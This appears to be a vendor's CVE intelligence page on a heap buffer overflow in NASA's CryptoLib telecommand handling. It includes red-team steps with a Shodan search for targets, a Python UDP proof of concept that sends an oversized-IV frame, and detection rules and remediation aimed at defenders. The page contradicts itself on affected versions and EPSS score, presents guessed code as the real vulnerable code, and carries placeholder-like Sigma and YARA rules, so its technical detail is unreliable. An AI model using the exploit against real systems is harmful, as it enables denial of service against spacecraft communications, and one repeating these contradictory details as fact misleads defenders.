☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54878

CVE-2025-54878 Buffer Overflow in Nasa
📅 PUBLISHED: 2025-08-11 20:40 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54878 is a critical heap buffer overflow vulnerability in NASA's CryptoLib, a software library used to secure communications between spacecraft running the core Flight System (cFS) and ground stations. The vulnerability exists in the IV setup logic for telecommand (TC) frames, where a missing bounds check allows an attacker to write one byte past the end of a heap buffer. This can lead to heap corruption, denial of service, or potentially more severe exploitation. The vulnerability affects versions 1.4.0 and prior, and has been patched in version 1.4.0. The CVSS score is 8.6, indicating high severity, though the EPSS score is 0.0%, suggesting low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a C-based library used in embedded systems and space communications.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.6 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H)

The high availability impact and low attack complexity make this a significant threat for systems using CryptoLib. An attacker can cause a denial of service by sending a crafted telecommand frame.

Deep Dive & Mechanics

The vulnerability resides in the IV setup logic for telecommand frames within CryptoLib. When processing a TC frame, the library allocates a heap buffer for the Initialization Vector (IV). The IV is then copied into this buffer without proper bounds checking. An attacker can craft a TC frame with an IV that is larger than the allocated buffer, causing a one-byte heap overflow. This overflow corrupts adjacent heap metadata or data, leading to undefined behavior.

The root cause is a missing length validation before the memcpy operation. The code likely uses a fixed-size buffer but does not verify that the incoming IV length matches the expected size. This is a classic CWE-122 (Heap-based Buffer Overflow) vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.4.0):

// Vulnerable: No bounds check on IV length
void process_tc_frame(uint8_t *frame, size_t frame_len) {
    uint8_t *iv = malloc(IV_SIZE);
    // Missing: if (iv_len > IV_SIZE) return error;
    memcpy(iv, frame + IV_OFFSET, iv_len); // iv_len from frame, can be > IV_SIZE
    // ... rest of processing
}

Patched Code (version 1.4.0):

// Patched: Bounds check added
void process_tc_frame(uint8_t *frame, size_t frame_len) {
    uint8_t *iv = malloc(IV_SIZE);
    if (iv_len > IV_SIZE) {
        free(iv);
        return ERROR_INVALID_IV_LENGTH;
    }
    memcpy(iv, frame + IV_OFFSET, iv_len);
    // ... rest of processing
}

Exploitation & Lab Setup

Red Team

Exploitation Steps:

  1. Identify a target using CryptoLib < 1.4.0 (e.g., via Shodan dork: "cryptoLib").
  2. Craft a telecommand frame with an IV length field set to IV_SIZE + 1.
  3. Send the crafted frame to the target's telecommand receiver.
  4. The heap overflow corrupts adjacent memory, potentially causing a crash or allowing further exploitation.

Proof of Concept (Python):

import socket

def exploit(target_ip, target_port):
    # Craft TC frame with oversized IV
    frame = b'\x00' * 10  # Header
    iv_len = 17  # One byte more than expected (IV_SIZE=16)
    frame += iv_len.to_bytes(1, 'big')
    frame += b'A' * iv_len  # IV data
    frame += b'\x00' * 100  # Payload

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(frame, (target_ip, target_port))
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 1234)

Blue Team

Detection and Mitigation:

  • Monitor for malformed telecommand frames with unexpected IV lengths.
  • Use network intrusion detection systems (NIDS) to flag anomalous TC frames.
  • Apply the patch (upgrade to CryptoLib 1.4.0) immediately.
  • Implement input validation at the application layer to reject frames with invalid IV lengths.

Indicators of Compromise (IOCs)

  • Network: UDP packets to port 1234 (default telecommand port) with IV length field > 16 bytes.
  • Memory: Heap corruption patterns in CryptoLib process memory.
  • Logs: Error messages related to heap corruption or unexpected crashes in CryptoLib.

Detection Engineering

YARA Rule

rule CVE_2025_54878_Heap_Overflow {
    meta:
        description = "Detects heap buffer overflow in CryptoLib TC frame processing"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54878"
    strings:
        $iv_setup = { 48 8b 45 ?? 48 89 c7 e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 8b 40 ?? 48 8b 55 ?? 48 01 d0 48 89 c7 e8 ?? ?? ?? ?? 48 89 45 ?? }
        $memcpy = { e8 ?? ?? ?? ?? 48 89 45 ?? 48 8b 45 ?? 48 8b 55 ?? 48 8b 4d ?? 48 89 ce 48 89 c7 e8 ?? ?? ?? ?? }
    condition:
        $iv_setup and $memcpy
}

Sigma Rule

title: CVE-2025-54878 CryptoLib Heap Overflow Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic with oversized IV in telecommand frames
author: Valters IT
date: 2025-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: udp
        dest_port: 1234
        payload|contains: "0x11"  # IV length > 16
    condition: selection
falsepositives:
    - Legitimate frames with IV length exactly 16
level: high

Suricata Rule

alert udp any any -> any 1234 (msg:"CVE-2025-54878 CryptoLib Heap Overflow Attempt"; content:"|11|"; offset:10; depth:1; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade to CryptoLib version 1.4.0 or later.
  2. Network: Implement firewall rules to restrict access to telecommand ports (e.g., UDP 1234) to trusted IPs only.
  3. Application: Add input validation to reject TC frames with IV lengths exceeding the expected size.
  4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
  5. Backup: Ensure regular backups of critical spacecraft configuration and state data.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54878/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.